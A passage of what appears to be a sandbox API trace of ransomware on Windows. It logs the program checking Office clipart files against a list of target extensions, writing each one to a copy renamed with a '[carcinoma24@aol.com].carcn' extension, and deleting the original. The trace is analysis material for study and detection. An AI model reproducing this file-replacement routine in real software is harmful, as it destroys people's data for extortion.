Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.278] lstrlenW (lpString=".dbf") returned 4 [0296.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.278] lstrlenW (lpString=".1cd") returned 4 [0296.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.278] lstrlenW (lpString=".jpg") returned 4 [0296.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.279] lstrlenW (lpString=".doc") returned 4 [0296.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString=".docx") returned 5 [0296.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.279] lstrlenW (lpString=".pdf") returned 4 [0296.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString=".xls") returned 4 [0296.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.279] lstrlenW (lpString=".xlsx") returned 5 [0296.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.279] lstrlenW (lpString=".ppt") returned 4 [0296.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.279] lstrlenW (lpString=".zip") returned 4 [0296.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.279] lstrlenW (lpString=".rar") returned 4 [0296.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString=".bz2") returned 4 [0296.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString=".7z") returned 3 [0296.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.279] lstrlenW (lpString=".dbf") returned 4 [0296.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.279] lstrlenW (lpString=".1cd") returned 4 [0296.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.280] lstrlenW (lpString=".jpg") returned 4 [0296.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.280] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.280] lstrlenW (lpString="BD19828_.WMF") returned 12 [0296.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.280] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=8772) returned 1 [0296.280] CloseHandle (hObject=0x358) returned 1 [0296.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0296.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.281] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.281] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0296.282] GetLastError () returned 0x0 [0296.282] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2244, lpOverlapped=0x0) returned 1 [0296.909] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2250, lpOverlapped=0x0) returned 1 [0296.917] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.917] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.917] SetEndOfFile (hFile=0x388) returned 1 [0296.917] CloseHandle (hObject=0x388) returned 1 [0296.918] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.918] SetEndOfFile (hFile=0x358) returned 1 [0296.919] CloseHandle (hObject=0x358) returned 1 [0296.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0296.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.920] lstrlenW (lpString=".doc") returned 4 [0296.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.920] lstrlenW (lpString=".docx") returned 5 [0296.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.920] lstrlenW (lpString=".pdf") returned 4 [0296.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.920] lstrlenW (lpString=".xls") returned 4 [0296.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.920] lstrlenW (lpString=".xlsx") returned 5 [0296.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.920] lstrlenW (lpString=".ppt") returned 4 [0296.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.920] lstrlenW (lpString=".zip") returned 4 [0296.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.920] lstrlenW (lpString=".rar") returned 4 [0296.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.920] lstrlenW (lpString=".bz2") returned 4 [0296.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.920] lstrlenW (lpString=".7z") returned 3 [0296.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.921] lstrlenW (lpString=".dbf") returned 4 [0296.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.921] lstrlenW (lpString=".1cd") returned 4 [0296.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.921] lstrlenW (lpString=".jpg") returned 4 [0296.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.921] lstrlenW (lpString=".doc") returned 4 [0296.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.921] lstrlenW (lpString=".docx") returned 5 [0296.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.921] lstrlenW (lpString=".pdf") returned 4 [0296.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.921] lstrlenW (lpString=".xls") returned 4 [0296.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.921] lstrlenW (lpString=".xlsx") returned 5 [0296.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.921] lstrlenW (lpString=".ppt") returned 4 [0296.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.921] lstrlenW (lpString=".zip") returned 4 [0296.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.921] lstrlenW (lpString=".rar") returned 4 [0296.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.922] lstrlenW (lpString=".bz2") returned 4 [0296.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.922] lstrlenW (lpString=".7z") returned 3 [0296.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.922] lstrlenW (lpString=".dbf") returned 4 [0296.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.922] lstrlenW (lpString=".1cd") returned 4 [0296.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0296.922] lstrlenW (lpString=".jpg") returned 4 [0296.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.922] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.922] lstrlenW (lpString="BL00130_.WMF") returned 12 [0296.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.923] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1464) returned 1 [0296.923] CloseHandle (hObject=0x358) returned 1 [0296.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0296.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0296.924] GetLastError () returned 0x0 [0296.924] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5b8, lpOverlapped=0x0) returned 1 [0296.925] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0296.927] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.927] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.927] SetEndOfFile (hFile=0x388) returned 1 [0296.927] CloseHandle (hObject=0x388) returned 1 [0296.927] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.927] SetEndOfFile (hFile=0x358) returned 1 [0296.928] CloseHandle (hObject=0x358) returned 1 [0296.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0296.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.929] lstrlenW (lpString=".doc") returned 4 [0296.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.929] lstrlenW (lpString=".docx") returned 5 [0296.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.929] lstrlenW (lpString=".pdf") returned 4 [0296.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.929] lstrlenW (lpString=".xls") returned 4 [0296.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.930] lstrlenW (lpString=".xlsx") returned 5 [0296.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.930] lstrlenW (lpString=".ppt") returned 4 [0296.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.930] lstrlenW (lpString=".zip") returned 4 [0296.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.930] lstrlenW (lpString=".rar") returned 4 [0296.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.930] lstrlenW (lpString=".bz2") returned 4 [0296.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.930] lstrlenW (lpString=".7z") returned 3 [0296.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.930] lstrlenW (lpString=".dbf") returned 4 [0296.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.930] lstrlenW (lpString=".1cd") returned 4 [0296.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.930] lstrlenW (lpString=".jpg") returned 4 [0296.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.930] lstrlenW (lpString=".doc") returned 4 [0296.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.930] lstrlenW (lpString=".docx") returned 5 [0296.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.931] lstrlenW (lpString=".pdf") returned 4 [0296.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.931] lstrlenW (lpString=".xls") returned 4 [0296.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.931] lstrlenW (lpString=".xlsx") returned 5 [0296.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.931] lstrlenW (lpString=".ppt") returned 4 [0296.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.931] lstrlenW (lpString=".zip") returned 4 [0296.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.931] lstrlenW (lpString=".rar") returned 4 [0296.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.931] lstrlenW (lpString=".bz2") returned 4 [0296.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.931] lstrlenW (lpString=".7z") returned 3 [0296.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.931] lstrlenW (lpString=".dbf") returned 4 [0296.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.931] lstrlenW (lpString=".1cd") returned 4 [0296.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0296.932] lstrlenW (lpString=".jpg") returned 4 [0296.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.932] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.932] lstrlenW (lpString="BL00148_.WMF") returned 12 [0296.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.932] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1696) returned 1 [0296.932] CloseHandle (hObject=0x358) returned 1 [0296.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0296.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.933] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.933] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0296.934] GetLastError () returned 0x0 [0296.934] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x6a0, lpOverlapped=0x0) returned 1 [0296.935] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x6b0, lpOverlapped=0x0) returned 1 [0296.936] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.936] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.937] SetEndOfFile (hFile=0x388) returned 1 [0296.937] CloseHandle (hObject=0x388) returned 1 [0296.937] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.937] SetEndOfFile (hFile=0x358) returned 1 [0296.938] CloseHandle (hObject=0x358) returned 1 [0296.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0296.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.939] lstrlenW (lpString=".doc") returned 4 [0296.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.939] lstrlenW (lpString=".docx") returned 5 [0296.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.939] lstrlenW (lpString=".pdf") returned 4 [0296.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.939] lstrlenW (lpString=".xls") returned 4 [0296.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.939] lstrlenW (lpString=".xlsx") returned 5 [0296.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.940] lstrlenW (lpString=".ppt") returned 4 [0296.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.940] lstrlenW (lpString=".zip") returned 4 [0296.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.940] lstrlenW (lpString=".rar") returned 4 [0296.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.940] lstrlenW (lpString=".bz2") returned 4 [0296.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.940] lstrlenW (lpString=".7z") returned 3 [0296.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.940] lstrlenW (lpString=".dbf") returned 4 [0296.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.940] lstrlenW (lpString=".1cd") returned 4 [0296.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.940] lstrlenW (lpString="C:\\Program Files\\Microsoft 